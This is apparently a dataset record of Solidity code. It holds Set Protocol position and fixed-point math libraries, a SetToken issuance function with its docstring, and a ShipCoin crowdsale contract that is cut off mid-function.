hasDefaultPosition(_setToken, _component); if (!isPositionFound && _newUnit > 0) { // If there is no Default Position and no External Modules, then component does not exist if (!hasExternalPosition(_setToken, _component)) { _setToken.addComponent(_component); } } else if (isPositionFound && _newUnit == 0) { // If there is a Default Position and no external positions, remove the component if (!hasExternalPosition(_setToken, _component)) { _setToken.removeComponent(_component); } } _setToken.editDefaultPositionUnit(_component, _newUnit.toInt256()); } /** * Update an external position and remove and external positions or components if necessary. The logic flows as follows: * 1) If component is not already added then add component and external position. * 2) If component is added but no existing external position using the passed module exists then add the external position. * 3) If the existing position is being added to then just update the unit and data * 4) If the position is being closed and no other external positions or default positions are associated with the component * then untrack the component and remove external position. * 5) If the position is being closed and other existing positions still exist for the component then just remove the * external position. * * @param _setToken SetToken being updated * @param _component Component position being updated * @param _module Module external position is associated with * @param _newUnit Position units of new external position * @param _data Arbitrary data associated with the position */ function editExternalPosition( ISetToken _setToken, address _component, address _module, int256 _newUnit, bytes memory _data ) internal { if (_newUnit != 0) { if (!_setToken.isComponent(_component)) { _setToken.addComponent(_component); _setToken.addExternalPositionModule(_component, _module); } else if (!_setToken.isExternalPositionModule(_component, _module)) { _setToken.addExternalPositionModule(_component, _module); } _setToken.editExternalPositionUnit(_component, _module, _newUnit); _setToken.editExternalPositionData(_component, _module, _data); } else { require(_data.length == 0, "Passed data must be null"); // If no default or external position remaining then remove component from components array if (_setToken.getExternalPositionRealUnit(_component, _module) != 0) { address[] memory positionModules = _setToken.getExternalPositionModules(_component); if (_setToken.getDefaultPositionRealUnit(_component) == 0 && positionModules.length == 1) { require(positionModules[0] == _module, "External positions must be 0 to remove component"); _setToken.removeComponent(_component); } _setToken.removeExternalPositionModule(_component, _module); } } } /** * Get total notional amount of Default position * * @param _setTokenSupply Supply of SetToken in precise units (10^18) * @param _positionUnit Quantity of Position units * * @return Total notional amount of units */ function getDefaultTotalNotional(uint256 _setTokenSupply, uint256 _positionUnit) internal pure returns (uint256) { return _setTokenSupply.preciseMul(_positionUnit); } /** * Get position unit from total notional amount * * @param _setTokenSupply Supply of SetToken in precise units (10^18) * @param _totalNotional Total notional amount of component prior to * @return Default position unit */ function getDefaultPositionUnit(uint256 _setTokenSupply, uint256 _totalNotional) internal pure returns (uint256) { return _totalNotional.preciseDiv(_setTokenSupply); } /** * Get the total tracked balance - total supply * position unit * * @param _setToken Address of the SetToken * @param _component Address of the component * @return Notional tracked balance */ function getDefaultTrackedBalance(ISetToken _setToken, address _component) internal view returns(uint256) { int256 positionUnit = _setToken.getDefaultPositionRealUnit(_component); return _setToken.totalSupply().preciseMul(positionUnit.toUint256()); } /** * Calculates the new default position unit and performs the edit with the new unit * * @param _setToken Address of the SetToken * @param _component Address of the component * @param _setTotalSupply Current SetToken supply * @param _componentPreviousBalance Pre-action component balance * @return Current component balance * @return Previous position unit * @return New position unit */ function calculateAndEditDefaultPosition( ISetToken _setToken, address _component, uint256 _setTotalSupply, uint256 _componentPreviousBalance ) internal returns(uint256, uint256, uint256) { uint256 currentBalance = IERC20(_component).balanceOf(address(_setToken)); uint256 positionUnit = _setToken.getDefaultPositionRealUnit(_component).toUint256(); uint256 newTokenUnit; if (currentBalance > 0) { newTokenUnit = calculateDefaultEditPositionUnit( _setTotalSupply, _componentPreviousBalance, currentBalance, positionUnit ); } else { newTokenUnit = 0; } editDefaultPosition(_setToken, _component, newTokenUnit); return (currentBalance, positionUnit, newTokenUnit); } /** * Calculate the new position unit given total notional values pre and post executing an action that changes SetToken state * The intention is to make updates to the units without accidentally picking up airdropped assets as well. * * @param _setTokenSupply Supply of SetToken in precise units (10^18) * @param _preTotalNotional Total notional amount of component prior to executing action * @param _postTotalNotional Total notional amount of component after the executing action * @param _prePositionUnit Position unit of SetToken prior to executing action * @return New position unit */ function calculateDefaultEditPositionUnit( uint256 _setTokenSupply, uint256 _preTotalNotional, uint256 _postTotalNotional, uint256 _prePositionUnit ) internal pure returns (uint256) { // If pre action total notional amount is greater then subtract post action total notional and calculate new position units uint256 airdroppedAmount = _preTotalNotional.sub(_prePositionUnit.preciseMul(_setTokenSupply)); return _postTotalNotional.sub(airdroppedAmount).preciseDiv(_setTokenSupply); } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; /** * @title PreciseUnitMath * @author Set Protocol * * Arithmetic for fixed-point numbers with 18 decimals of precision. Some functions taken from * dYdX's BaseMath library. * * CHANGELOG: * - 9/21/20: Added safePower function * - 4/21/21: Added approximatelyEquals function */ library PreciseUnitMath { using SafeMath for uint256; using SignedSafeMath for int256; // The number One in precise units. uint256 constant internal PRECISE_UNIT = 10 ** 18; int256 constant internal PRECISE_UNIT_INT = 10 ** 18; // Max unsigned integer value uint256 constant internal MAX_UINT_256 = type(uint256).max; // Max and min signed integer value int256 constant internal MAX_INT_256 = type(int256).max; int256 constant internal MIN_INT_256 = type(int256).min; /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnit() internal pure returns (uint256) { return PRECISE_UNIT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnitInt() internal pure returns (int256) { return PRECISE_UNIT_INT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxUint256() internal pure returns (uint256) { return MAX_UINT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxInt256() internal pure returns (int256) { return MAX_INT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function minInt256() internal pure returns (int256) { return MIN_INT_256; } /** * @dev Multiplies value a by value b (result is rounded down). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMul(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(b).div(PRECISE_UNIT); } /** * @dev Multiplies value a by value b (result is rounded towards zero). It's assumed that the value b is the * significand of a number with 18 decimals precision. */ function preciseMul(int256 a, int256 b) internal pure returns (int256) { return a.mul(b).div(PRECISE_UNIT_INT); } /** * @dev Multiplies value a by value b (result is rounded up). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMulCeil(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } return a.mul(b).sub(1).div(PRECISE_UNIT).add(1); } /** * @dev Divides value a by value b (result is rounded down). */ function preciseDiv(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(PRECISE_UNIT).div(b); } /** * @dev Divides value a by value b (result is rounded towards 0). */ function preciseDiv(int256 a, int256 b) internal pure returns (int256) { return a.mul(PRECISE_UNIT_INT).div(b); } /** * @dev Divides value a by value b (result is rounded up or away from 0). */ function preciseDivCeil(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "Cant divide by 0"); return a > 0 ? a.mul(PRECISE_UNIT).sub(1).div(b).add(1) : 0; } /** * @dev Divides value a by value b (result is rounded down - positive numbers toward 0 and negative away from 0). */ function divDown(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "Cant divide by 0"); require(a != MIN_INT_256 || b != -1, "Invalid input"); int256 result = a.div(b); if (a ^ b < 0 && a % b != 0) { result -= 1; } return result; } /** * @dev Multiplies value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseMul(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(b), PRECISE_UNIT_INT); } /** * @dev Divides value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseDiv(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(PRECISE_UNIT_INT), b); } /** * @dev Performs the power on a specified value, reverts on overflow. */ function safePower( uint256 a, uint256 pow ) internal pure returns (uint256) { require(a > 0, "Value must be positive"); uint256 result = 1; for (uint256 i = 0; i < pow; i++){ uint256 previousResult = result; // Using safemath multiplication prevents overflows result = previousResult.mul(a); } return result; } /** * @dev Returns true if a =~ b within range, false otherwise. */ function approximatelyEquals(uint256 a, uint256 b, uint256 range) internal pure returns (bool) { return a <= b.add(range) && a >= b.sub(range); } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title ExplicitERC20 * @author Set Protocol * * Utility functions for ERC20 transfers that require the explicit amount to be transferred. */ library ExplicitERC20 { using SafeMath for uint256; /** * When given allowance, transfers a token from the "_from" to the "_to" of quantity "_quantity". * Ensures that the recipient has received the correct quantity (ie no fees taken on transfer) * * @param _token ERC20 token to approve * @param _from The account to transfer tokens from * @param _to The account to transfer tokens to * @param _quantity The quantity to transfer */ function transferFrom( IERC20 _token, address _from, address _to, uint256 _quantity ) internal { // Call specified ERC20 contract to transfer tokens (via proxy). if (_quantity > 0) { uint256 existingBalance = _token.balanceOf(_to); SafeERC20.safeTransferFrom( _token, _from, _to, _quantity ); uint256 newBalance = _token.balanceOf(_to); // Verify transfer quantity is reflected in balance require( newBalance == existingBalance.add(_quantity), "Invalid post transfer balance" ); } } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; /** * @title IModule * @author Set Protocol * * Interface for interacting with Modules. */ interface IModule { /** * Called by a SetToken to notify that this module was removed from the Set token. Any logic can be included * in case checks need to be made or state needs to be cleared. */ function removeModule() external; } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IController } from "../../interfaces/IController.sol"; import { IIntegrationRegistry } from "../../interfaces/IIntegrationRegistry.sol"; import { IPriceOracle } from "../../interfaces/IPriceOracle.sol"; import { ISetValuer } from "../../interfaces/ISetValuer.sol"; /** * @title ResourceIdentifier * @author Set Protocol * * A collection of utility functions to fetch information related to Resource contracts in the system */ library ResourceIdentifier { // IntegrationRegistry will always be resource ID 0 in the system uint256 constant internal INTEGRATION_REGISTRY_RESOURCE_ID = 0; // PriceOracle will always be resource ID 1 in the system uint256 constant internal PRICE_ORACLE_RESOURCE_ID = 1; // SetValuer resource will always be resource ID 2 in the system uint256 constant internal SET_VALUER_RESOURCE_ID = 2; /* ============ Internal ============ */ /** * Gets the instance of integration registry stored on Controller. Note: IntegrationRegistry is stored as index 0 on * the Controller */ function getIntegrationRegistry(IController _controller) internal view returns (IIntegrationRegistry) { return IIntegrationRegistry(_controller.resourceId(INTEGRATION_REGISTRY_RESOURCE_ID)); } /** * Gets instance of price oracle on Controller. Note: PriceOracle is stored as index 1 on the Controller */ function getPriceOracle(IController _controller) internal view returns (IPriceOracle) { return IPriceOracle(_controller.resourceId(PRICE_ORACLE_RESOURCE_ID)); } /** * Gets the instance of Set valuer on Controller. Note: SetValuer is stored as index 2 on the Controller */ function getSetValuer(IController _controller) internal view returns (ISetValuer) { return ISetValuer(_controller.resourceId(SET_VALUER_RESOURCE_ID)); } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; interface IIntegrationRegistry { function addIntegration(address _module, string memory _id, address _wrapper) external; function getIntegrationAdapter(address _module, string memory _id) external view returns(address); function getIntegrationAdapterWithHash(address _module, bytes32 _id) external view returns(address); function isValidIntegration(address _module, string memory _id) external view returns(bool); } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; /** * @title IPriceOracle * @author Set Protocol * * Interface for interacting with PriceOracle */ interface IPriceOracle { /* ============ Functions ============ */ function getPrice(address _assetOne, address _assetTwo) external view returns (uint256); function masterQuoteAsset() external view returns (address); } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { ISetToken } from "../interfaces/ISetToken.sol"; interface ISetValuer { function calculateSetTokenValuation(ISetToken _setToken, address _quoteAsset) external view returns (uint256); }
Deposits components to the SetToken, replicates any external module component positions and mints the SetToken. If the token has a debt position all collateral will be transferred in first then debt will be returned to the minting address. If specified, a fee will be charged on issuance. _setToken Instance of the SetToken to issue _quantity Quantity of SetToken to issue _to Address to mint SetToken to/
function issue( ISetToken _setToken, uint256 _quantity, address _to ) external virtual nonReentrant onlyValidAndInitializedSet(_setToken) { require(_quantity > 0, "Issue quantity must be > 0"); address hookContract = _callManagerPreIssueHooks(_setToken, _quantity, msg.sender, _to); _callModulePreIssueHooks(_setToken, _quantity); ( uint256 quantityWithFees, uint256 managerFee, uint256 protocolFee ) = calculateTotalFees(_setToken, _quantity, true); ( address[] memory components, uint256[] memory equityUnits, uint256[] memory debtUnits ) = _calculateRequiredComponentIssuanceUnits(_setToken, quantityWithFees, true); _resolveEquityPositions(_setToken, quantityWithFees, _to, true, components, equityUnits); _resolveDebtPositions(_setToken, quantityWithFees, true, components, debtUnits); _resolveFees(_setToken, managerFee, protocolFee); _setToken.mint(_to, _quantity); emit SetTokenIssued( _setToken, msg.sender, _to, hookContract, _quantity, managerFee, protocolFee ); }
6,188,510
pragma solidity ^0.4.22; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title MultiOwnable * @dev The MultiOwnable contract has an owner address[], and provides basic authorization control */ contract MultiOwnable is Ownable { struct Types { mapping (address => bool) access; } mapping (uint => Types) private multiOwnersTypes; event AddOwner(uint _type, address addr); event AddOwner(uint[] types, address addr); event RemoveOwner(uint _type, address addr); modifier onlyMultiOwnersType(uint _type) { require(multiOwnersTypes[_type].access[msg.sender] || msg.sender == owner, "403"); _; } function onlyMultiOwnerType(uint _type, address _sender) public view returns(bool) { if (multiOwnersTypes[_type].access[_sender] || _sender == owner) { return true; } return false; } function addMultiOwnerType(uint _type, address _owner) public onlyOwner returns(bool) { require(_owner != address(0)); multiOwnersTypes[_type].access[_owner] = true; emit AddOwner(_type, _owner); return true; } function addMultiOwnerTypes(uint[] types, address _owner) public onlyOwner returns(bool) { require(_owner != address(0)); require(types.length > 0); for (uint i = 0; i < types.length; i++) { multiOwnersTypes[types[i]].access[_owner] = true; } emit AddOwner(types, _owner); return true; } function removeMultiOwnerType(uint types, address _owner) public onlyOwner returns(bool) { require(_owner != address(0)); multiOwnersTypes[types].access[_owner] = false; emit RemoveOwner(types, _owner); return true; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract IBonus { function getCurrentDayBonus(uint startSaleDate, bool saleState) public view returns(uint); function _currentDay(uint startSaleDate, bool saleState) public view returns(uint); function getBonusData() public view returns(string); function getPreSaleBonusPercent() public view returns(uint); function getMinReachUsdPayInCents() public view returns(uint); } contract ICurrency { function getUsdAbsRaisedInCents() external view returns(uint); function getCoinRaisedBonusInWei() external view returns(uint); function getCoinRaisedInWei() public view returns(uint); function getUsdFromETH(uint ethWei) public view returns(uint); function getTokenFromETH(uint ethWei) public view returns(uint); function getCurrencyRate(string _ticker) public view returns(uint); function addPay(string _ticker, uint value, uint usdAmount, uint coinRaised, uint coinRaisedBonus) public returns(bool); function checkTickerExists(string ticker) public view returns(bool); function getUsdFromCurrency(string ticker, uint value) public view returns(uint); function getUsdFromCurrency(string ticker, uint value, uint usd) public view returns(uint); function getUsdFromCurrency(bytes32 ticker, uint value) public view returns(uint); function getUsdFromCurrency(bytes32 ticker, uint value, uint usd) public view returns(uint); function getTokenWeiFromUSD(uint usdCents) public view returns(uint); function editPay(bytes32 ticker, uint currencyValue, uint currencyUsdRaised, uint _usdAbsRaisedInCents, uint _coinRaisedInWei, uint _coinRaisedBonusInWei) public returns(bool); function getCurrencyList(string ticker) public view returns(bool active, uint usd, uint devision, uint raised, uint usdRaised, uint usdRaisedExchangeRate, uint counter, uint lastUpdate); function getCurrencyList(bytes32 ticker) public view returns(bool active, uint usd, uint devision, uint raised, uint usdRaised, uint usdRaisedExchangeRate, uint counter, uint lastUpdate); function getTotalUsdRaisedInCents() public view returns(uint); function getAllCurrencyTicker() public view returns(string); function getCoinUSDRate() public view returns(uint); function addPreSaleBonus(uint bonusToken) public returns(bool); function editPreSaleBonus(uint beforeBonus, uint afterBonus) public returns(bool); } contract IStorage { function processPreSaleBonus(uint minTotalUsdAmountInCents, uint bonusPercent, uint _start, uint _limit) external returns(uint); function checkNeedProcessPreSaleBonus(uint minTotalUsdAmountInCents) external view returns(bool); function getCountNeedProcessPreSaleBonus(uint minTotalUsdAmountInCents, uint start, uint limit) external view returns(uint); function reCountUserPreSaleBonus(uint uId, uint minTotalUsdAmountInCents, uint bonusPercent, uint maxPayTime) external returns(uint, uint); function getContributorIndexes(uint index) external view returns(uint); function checkNeedSendSHPC(bool proc) external view returns(bool); function getCountNeedSendSHPC(uint start, uint limit) external view returns(uint); function checkETHRefund(bool proc) external view returns(bool); function getCountETHRefund(uint start, uint limit) external view returns(uint); function addPayment(address _addr, string pType, uint _value, uint usdAmount, uint currencyUSD, uint tokenWithoutBonus, uint tokenBonus, uint bonusPercent, uint payId) public returns(bool); function addPayment(uint uId, string pType, uint _value, uint usdAmount, uint currencyUSD, uint tokenWithoutBonus, uint tokenBonus, uint bonusPercent, uint payId) public returns(bool); function checkUserIdExists(uint uId) public view returns(bool); function getContributorAddressById(uint uId) public view returns(address); function editPaymentByUserId(uint uId, uint payId, uint _payValue, uint _usdAmount, uint _currencyUSD, uint _totalToken, uint _tokenWithoutBonus, uint _tokenBonus, uint _bonusPercent) public returns(bool); function getUserPaymentById(uint uId, uint payId) public view returns(uint time, bytes32 pType, uint currencyUSD, uint bonusPercent, uint payValue, uint totalToken, uint tokenBonus, uint tokenWithoutBonus, uint usdAbsRaisedInCents, bool refund); function checkWalletExists(address addr) public view returns(bool result); function checkReceivedCoins(address addr) public view returns(bool); function getContributorId(address addr) public view returns(uint); function getTotalCoin(address addr) public view returns(uint); function setReceivedCoin(uint uId) public returns(bool); function checkPreSaleReceivedBonus(address addr) public view returns(bool); function checkRefund(address addr) public view returns(bool); function setRefund(uint uId) public returns(bool); function getEthPaymentContributor(address addr) public view returns(uint); function refundPaymentByUserId(uint uId, uint payId) public returns(bool); function changeSupportChangeMainWallet(bool support) public returns(bool); } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ShipCoin Crowdsale */ contract ShipCoinCrowdsale is MultiOwnable { using SafeMath for uint256; ERC20Basic public coinContract; IStorage public storageContract; ICurrency public currencyContract; IBonus public bonusContract; enum SaleState {NEW, PRESALE, CALCPSBONUS, SALE, END, REFUND} uint256 private constant ONE_DAY = 86400; SaleState public state; bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } // minimum goal USD uint public softCapUSD = 500000000; // 5,000,000$ in cents // maximum goal USD uint public hardCapUSD = 6200000000; // 62,000,000$ in cents // maximum available SHPC with a bonus uint public maxDistributeCoin = 600000000 * 1 ether; //600,000,000 shpc (incl. bonus) // minimal accept payment uint public minimalContributionUSD = 100000; // 1000$ in cents // start and end timestamps where investments are allowed in PreSale uint public startPreSaleDate; uint public endPreSaleDate; uint public unfreezeRefundPreSale; uint public unfreezeRefundAll; // start and end timestamps where investments are allowed in sale uint public startSaleDate; uint public endSaleDate; bool public softCapAchieved = false; address public multiSig1; address public multiSig2; bool public multiSigReceivedSoftCap = false; /* Events */ event ChangeState(uint blockNumber, SaleState state); event ChangeMinContribUSD(uint oldAmount, uint newAmount); event ChangeStorageContract(address oldAddress, address newAddress); event ChangeCurrencyContract(address oldAddress, address newAddress); event ChangeCoinContract(address oldAddress, address newAddress); event ChangeBonusContract(address oldAddress, address newAddress); event AddPay(address contributor); event EditPay(address contributor); event SoftCapAchieved(uint amount); event ManualChangeStartPreSaleDate(uint oldDate, uint newDate); event ManualChangeEndPreSaleDate(uint oldDate, uint newDate); event ManualChangeStartSaleDate(uint oldDate, uint newDate); event ManualEndSaleDate(uint oldDate, uint newDate); event SendSHPCtoContributor(address contributor); event SoftCapChanged(); event Refund(address contributor); event RefundPay(address contributor); struct PaymentInfo { bytes32 pType; uint currencyUSD; uint bonusPercent; uint payValue; uint totalToken; uint tokenBonus; uint usdAbsRaisedInCents; bool refund; } struct CurrencyInfo { uint value; uint usdRaised; uint usdAbsRaisedInCents; uint coinRaisedInWei; uint coinRaisedBonusInWei; } struct EditPaymentInfo { uint usdAmount; uint currencyUSD; uint bonusPercent; uint totalToken; uint tokenWithoutBonus; uint tokenBonus; CurrencyInfo currency; } function () external whenNotPaused payable { buyTokens(msg.sender); } /** * @dev Run after deploy. Initialize initial variables * @param _coinAddress address coinContract * @param _storageContract address storageContract * @param _currencyContract address currencyContract * @param _bonusContract address bonusContract * @param _multiSig1 address multiSig where eth will be transferred * @param _startPreSaleDate timestamp * @param _endPreSaleDate timestamp * @param _startSaleDate timestamp * @param _endSaleDate timestamp */ function init( address _coinAddress, address _storageContract, address _currencyContract, address _bonusContract, address _multiSig1, uint _startPreSaleDate, uint _endPreSaleDate, uint _startSaleDate, uint _endSaleDate ) public onlyOwner { require(_coinAddress != address(0)); require(_storageContract != address(0)); require(_currencyContract != address(0)); require(_multiSig1 != address(0)); require(_bonusContract != address(0)); require(_startPreSaleDate > 0 && _startSaleDate > 0); require(_startSaleDate > _endPreSaleDate); require(_endSaleDate > _startSaleDate); require(startSaleDate == 0); coinContract = ERC20Basic(_coinAddress); storageContract = IStorage(_storageContract); currencyContract = ICurrency(_currencyContract); bonusContract = IBonus(_bonusContract); multiSig1 = _multiSig1; multiSig2 = 0x231121dFCB61C929BCdc0D1E6fC760c84e9A02ad; startPreSaleDate = _startPreSaleDate; endPreSaleDate = _endPreSaleDate; startSaleDate = _startSaleDate; endSaleDate = _endSaleDate; unfreezeRefundPreSale = _endSaleDate; unfreezeRefundAll = _endSaleDate.add(ONE_DAY); state = SaleState.NEW; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner { paused = true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner { paused = false; } /** * @dev Change the minimum amount in dollars indicated in cents to accept payment. * @param minContribUsd in cents */ function setMinimalContributionUSD(uint minContribUsd) public onlyOwner { require(minContribUsd > 100); // > 1$ uint oldMinAmount = minimalContributionUSD; minimalContributionUSD = minContribUsd; emit ChangeMinContribUSD(oldMinAmount, minimalContributionUSD); } /** * @dev Set the time when contributors can receive tokens * @param _time timestamp */ function setUnfreezeRefund(uint _time) public onlyOwner { require(_time > startSaleDate); unfreezeRefundPreSale = _time; unfreezeRefundAll = _time.add(ONE_DAY); } /** * @dev Change address ShipCoinStorage contracts. * @param _storageContract address ShipCoinStorage contracts */ function setStorageContract(address _storageContract) public onlyOwner { require(_storageContract != address(0)); address oldStorageContract = storageContract; storageContract = IStorage(_storageContract); emit ChangeStorageContract(oldStorageContract, storageContract); } /** * @dev Change address ShipCoin contracts. * @param _coinContract address ShipCoin contracts */ function setCoinContract(address _coinContract) public onlyOwner { require(_coinContract != address(0)); address oldCoinContract = coinContract; coinContract = ERC20Basic(_coinContract); emit ChangeCoinContract(oldCoinContract, coinContract); } /** * @dev Change address ShipCoinCurrency contracts. * @param _currencyContract address ShipCoinCurrency contracts */ function setCurrencyContract(address _currencyContract) public onlyOwner { require(_currencyContract != address(0)); address oldCurContract = currencyContract; currencyContract = ICurrency(_currencyContract); emit ChangeCurrencyContract(oldCurContract, currencyContract); } /** * @dev Change address ShipCoinBonusSystem contracts. * @param _bonusContract address ShipCoinBonusSystem contracts */ function setBonusContract(address _bonusContract) public onlyOwner { require(_bonusContract != address(0)); address oldContract = _bonusContract; bonusContract = IBonus(_bonusContract); emit ChangeBonusContract(oldContract, bonusContract); } /** * @dev Change address multiSig1. * @param _address address multiSig1 */ function setMultisig(address _address) public onlyOwner { require(_address != address(0)); multiSig1 = _address; } /** * @dev Set softCapUSD * @param _softCapUsdInCents uint softCapUSD > 100000 */ function setSoftCap(uint _softCapUsdInCents) public onlyOwner { require(_softCapUsdInCents > 100000); softCapUSD = _softCapUsdInCents; emit SoftCapChanged(); } /** * @dev Change maximum number of tokens sold * @param _maxCoin maxDistributeCoin */ function changeMaxDistributeCoin(uint _maxCoin) public onlyOwner { require(_maxCoin > 0 && _maxCoin >= currencyContract.getCoinRaisedInWei()); maxDistributeCoin = _maxCoin; } /** * @dev Change status. Start presale. */ function startPreSale() public onlyMultiOwnersType(1) { require(block.timestamp <= endPreSaleDate); require(state == SaleState.NEW); state = SaleState.PRESALE; emit ChangeState(block.number, state); } /** * @dev Change status. Start calculate presale bonus. */ function startCalculatePreSaleBonus() public onlyMultiOwnersType(5) { require(state == SaleState.PRESALE); state = SaleState.CALCPSBONUS; emit ChangeState(block.number, state); } /** * @dev Change status. Start sale. */ function startSale() public onlyMultiOwnersType(2) { require(block.timestamp <= endSaleDate); require(state == SaleState.CALCPSBONUS); //require(!storageContract.checkNeedProcessPreSaleBonus(getMinReachUsdPayInCents())); state = SaleState.SALE; emit ChangeState(block.number, state); } /** * @dev Change status. Set end if sale it was successful. */ function saleSetEnded() public onlyMultiOwnersType(3) { require((state == SaleState.SALE) || (state == SaleState.PRESALE)); require(block.timestamp >= startSaleDate); require(checkSoftCapAchieved()); state = SaleState.END; storageContract.changeSupportChangeMainWallet(false); emit ChangeState(block.number, state); } /** * @dev Change status. Set refund when sale did not reach softcap. */ function saleSetRefund() public onlyMultiOwnersType(4) { require((state == 